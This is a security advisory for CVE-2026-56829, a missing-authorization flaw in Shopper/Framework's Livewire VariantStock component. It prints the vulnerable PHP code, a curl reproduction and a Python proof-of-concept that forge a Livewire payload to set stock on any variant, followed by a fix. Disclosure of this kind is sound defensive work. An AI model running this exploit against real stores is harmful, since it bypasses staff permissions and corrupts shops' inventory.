PT-2026-90545 · Packagist · Shopper/Framework
CVE-2026-56829
·
Published
2026-09-11
·
Updated
2026-09-11
CVSS v3.1
8.1
High
| Vector | AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H |
Title
Unauthorized inventory stock manipulation via unlocked variant property in VariantStock component
Description
A lack of authorization control was discovered in the
stockAction() method in packages/admin/src/Livewire/Components/Products/VariantStock.php. The component exposes a public $variant property without the #[Locked] attribute, so the variant ID is client-mutable via the Livewire wire payload. The stockAction() returns an Action with no ->authorize(...) chain, meaning any authenticated admin-panel session, including browse-only staff who hold zero edit permissions, can call this action to adjust inventory levels for any product variant. The combination of missing authorization and an unlocked model binding lets the attacker both bypass the permission gate and redirect the mutation to an arbitrary variant in the database.Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High)
Affected files
packages/admin/src/Livewire/Components/Products/VariantStock.php:34-91
php
// Line 34 - unprotected, client-mutable variant binding
public $variant;
// Lines 36-91 - no ->authorize(...) on the Action
public function stockAction(): Action
{
return Action::make('stock')
->label( ('shopper::forms.actions.update'))
->color('gray')
->icon(Untitledui::Package)
->modalHeading( ('shopper::pages/products.modals.variants.title'))
->modalWidth(Width::Large)
->schema([
Select::make('inventory')
->label( ('shopper::pages/products.inventory name'))
->options(Inventory::query()->pluck('name', 'id'))
->native(false)
->required(),
TextInput::make('quantity')
->label( ('shopper::forms.label.quantity'))
->placeholder('-10 or -5 or 50, etc')
->numeric()
->required(),
])
->action(function (array $data): void {
// ...calls $this->variant->mutateStock(...) or decreaseStock(...)
// with no permission check anywhere in this path
});
}Steps to reproduce
Prerequisites: an admin-panel account with any role (including a role that holds only
browse products or browse orders). No edit product variants permission is required.bash
# Step 1: Log in and obtain a session cookie and Livewire CSRF token.
# Obtain them from a normal browser login, then use them below.
SESSION="laravel session=<your session value>"
XSRF="X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>"
# Step 2: Load the product variant page for any variant ID (e.g., 1).
# Capture the Livewire snapshot from the page source.
# Step 3: Call the stock action on an arbitrary variant.
# The wire payload sets "component.variant" to any variant ID in the database.
curl -s -X POST http://localhost/shopper/livewire/update
-H "Content-Type: application/json"
-H "$XSRF"
-H "Cookie: $SESSION"
-d '{
"components": [{
"snapshot": "{"id":"VARIANT STOCK COMPONENT ID","data":{"variant":42},"checksum":"..."}",
"updates": {},
"calls": [{"path":"","method":"callAction","params":["stock",{"inventory":1,"quantity":999}]}]
}]
}'
# Expected: HTTP 200, variant 42 stock increased by 999 regardless of caller permissions.Proof of concept
python
#!/usr/bin/env python3
"""
VariantStock authorization bypass PoC.
Set these environment variables before running:
BASE URL e.g. http://localhost
SESSION COOKIE value of the laravel session cookie
XSRF TOKEN URL-decoded value of the XSRF-TOKEN cookie
COMPONENT ID Livewire component snapshot ID (from page source)
VARIANT ID integer ID of any target variant
INVENTORY ID integer ID of the target inventory location
QUANTITY integer quantity adjustment (positive or negative)
"""
import json
import os
import requests
base url = os.environ['BASE URL']
session = os.environ['SESSION COOKIE']
xsrf = os.environ['XSRF TOKEN']
component id = os.environ['COMPONENT ID']
variant id = int(os.environ['VARIANT ID'])
inventory id = int(os.environ['INVENTORY ID'])
quantity = int(os.environ['QUANTITY'])
headers = {
'Content-Type': 'application/json',
'Accept': 'text/html, application/xhtml+xml',
'X-XSRF-TOKEN': xsrf,
'Cookie': f'laravel session={session}',
'X-Livewire': '1',
}
snapshot = json.dumps({
'id': component id,
'data': {'variant': variant id},
'checksum': 'UNLOCKED PROP NO CHECKSUM NEEDED',
})
payload = {
'components': [{
'snapshot': snapshot,
'updates': {},
'calls': [{
'path': '',
'method': 'callAction',
'params': ['stock', {
'inventory': inventory id,
'quantity': quantity,
}]
}]
}]
}
r = requests.post(f'{base url}/shopper/livewire/update', headers=headers, json=payload)
print(f'Status: {r.status code}')
print(r.text[:500])Impact
Any authenticated admin panel user, regardless of role, can set the inventory quantity of any product variant to an arbitrary value. A browse-only staff member holding only
browse products can zero out stock for every variant (triggering out-of-stock states store-wide) or inflate stock counts to bypass stock-gating at checkout. Because $variant is not locked, the attacker is not limited to variants visible on their current page; they can target any variant by its integer ID.Suggested fix
php
// packages/admin/src/Livewire/Components/Products/VariantStock.php
use LivewireAttributesLocked;
#[Locked] // prevent client-side ID substitution
public $variant;
public function stockAction(): Action
{
return Action::make('stock')
->authorize('edit product variants') // add this
// ... rest of the actionCredits
Reported by Vishal Shukla (@shukla304 / @therawdev).
Fix
Missing Authorization
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Shopper/Framework